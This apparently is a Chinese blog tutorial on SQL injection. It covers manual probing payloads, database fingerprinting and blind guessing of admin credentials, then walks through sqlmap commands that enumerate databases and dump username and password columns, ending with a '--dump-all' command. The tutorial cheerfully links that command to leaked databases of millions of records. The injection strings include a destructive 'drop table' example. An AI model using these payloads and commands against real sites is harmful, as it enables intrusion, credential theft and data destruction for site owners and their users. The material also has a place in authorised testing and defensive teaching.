Pic by Baidu
0x 00 前言
正是SQLMAP這種神器的存在,SQL注入簡直Easy到根本停不下來....
PS:國內類似軟件也有阿D,明小子,挖掘機,當你用過他們之后你才會發現SQLMap才是絕對的注入神器
0x 01 注入原理
*****************************************開始分割線*****************************************
存在注入的原因是因為后台在編寫程序時,沒有對用戶輸入的數據做過濾導致的,正如事實上,不是所有的用戶都是友好的
比如:用戶在某個輸入框提交的參數是 2
瀏覽器提交的URL為: http:// www.XXX.com/index.php?id=2
服務器后台執行SQL語句: select * from table1 where id = 2
返回Response,瀏覽器解析返回的頁面,然后你就看到新的頁面了
如果邪惡的用戶提交的參數是 2;drop table1
服務器后台執行SQL語句: select * from table1 where id =2 ; drop table1
相當於后台執行了兩條SQL語句,查表,並且把table1刪除 - -
從而導致了SQL注入。
按照這個思路,現在寫一下手工注入的一般步驟:
1、 判斷是否存在注入點(數字型注入)
www.XXX.com/index.php?id=2‘--
www.XXX.com/index.php?id=2 and 1=1 --
www.XXX.com/index.php?id=2 and 1=2 --
第2條返回正常,第1,3條返回不正常說明id參數存在注入漏洞
2、 判斷數據庫類型
可以根據不同數據庫特有的表,或者根據不同數據庫的語法不同進行判斷
www.XXX.com/index.php?id=2 and exists(select * from sysobjects) -- 返回正常是SQLServer 數據庫
www.XXX.com/index.php?id=2 and exists(select * from msysobjects) -- 返回正常是Access 數據庫
www.XXX.com/index.php?id=2 and len('a') = 1 -- 返回正常是SQLServer或者MySQL
www.XXX.com/index.php?id=2 and substring('abc','1','1') = a -- 返回正常是SQLServer
www.XXX.com/index.php?id=2 and subStr('abc','1','1')= a -- 返回正常是Oracle
知道是哪種類型數據庫后就可以選擇對應語法構造SQL語句進行攻擊
3、 判定是否存在admin表
www.XXX.com/index.php?id=2 and exists(select * from admin) -- 返回正常 存在admin表
4、猜admin表中的字段名
www.XXX.com/index.php?id=2 and exists(select username from admin) -- 返回正常 表示admin表存在username字段
5、 猜字段值
www.XXX.com/index.php?id=2 and exists(select * from admin where id =1 and asc(mid(username,1,1))) < 100 -- 返回正常說明username中有ascii碼小於100的字母,然后根據折半發准確判斷是哪一個字符
以上是 SQLServer的手工注入步驟,在MySQL和Oracle中略有不同,思路還是這個樣子,好了終於把這部分也不補上了~~
*****************************************結束分割線*****************************************
0x 02 安裝SQLMap
1. 安裝python
官網https://www.python.org/ 選擇最新版本下載安裝即可
因為SQLMap使用Python寫的 ,所以沒有Python的環境SQLMap無法運行
2. 安裝SQLMap
官網 http://sqlmap.org/ 選擇最近版本安裝即可
3. 設置環境變量
為了使用便利,將SQLMAP的安裝目錄添加到系統環境變量中
之后在CMD中就可以直接使用SQLMap了
不設置環境變量的話,要把CMD的當前目錄切換到SQLMap安裝目錄才可以使用
0x 03 SQLMap常用命令介紹
1. sqlmap.py -u "http://www.XXX.com/index.asp?id=1"
判斷id參數是否存在注入:結果中包含 “id” is Vulnerable 字段表示存在注入
存在注入,下面的步驟才可以執行成功~
2. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --dbs
列舉能列出的所有數據庫名
3. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --current-db
列出當前使用的數據庫名,假設列出“sqltest”數據庫
4. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" --is-dba
判斷該注入點是否有管理員權限:返回true 表示是管理員
5. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" --tables
獲取sqltest中的所有表,假設有"admin"表
6. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" --columns
列舉表admin的字段(列名),假設存在"username","password"字段
7. sqlmap.py -u "http://www.XXX.com/index.asp?id=1" -D "sqltest" -T "admin" -C "username,password" --dump
下載字段username,password的值,若詢問是否破解md5加密,選擇no即可
至此,對一個簡單的注入點(GET方式),現在就已經得到了我們想要的數據
想看工具的注入過程 使用-v參數
-level 會提高注入等級(默認0 只會判斷get,post參數是否有注入點)
若注入點是POST方式,或是注入點才Cookie,User-Agent中,可以利用-Date 參數 -Cookie參數指定
當然用buip Suite架個代理,截取數據包,直接 -r 參數引入數據包也可以完成上述的注入情況的~
0x 04 注入Demo
本次演示使用Apache+Php +Mysql 環境,其他環境的話
使用SQLMap輸入還是相同的命令,這點SQLMap做的好方便
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --dbs 列所有數據庫名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --current-db 列出當前數據庫
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" --is-dba 判斷注入點是否有管理員權限
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --tables 猜表名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" --columns 猜字段名
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" -T "test" -C "id,name" --dump 猜id和name的值
網絡上流傳的脫褲 用的可就是下面的一句話
sqlmap.py -u "http://127.0.0.1/sqlinject.php?id=1" -D "test" --dump-all
突然發現 強大的東西往往僅僅是一句話 ! !
這條命令會直接把test數據庫中所有的表全部下載到安裝目錄output文件夾中
然后就有了 2000W xxx 800W xxx ....................你懂得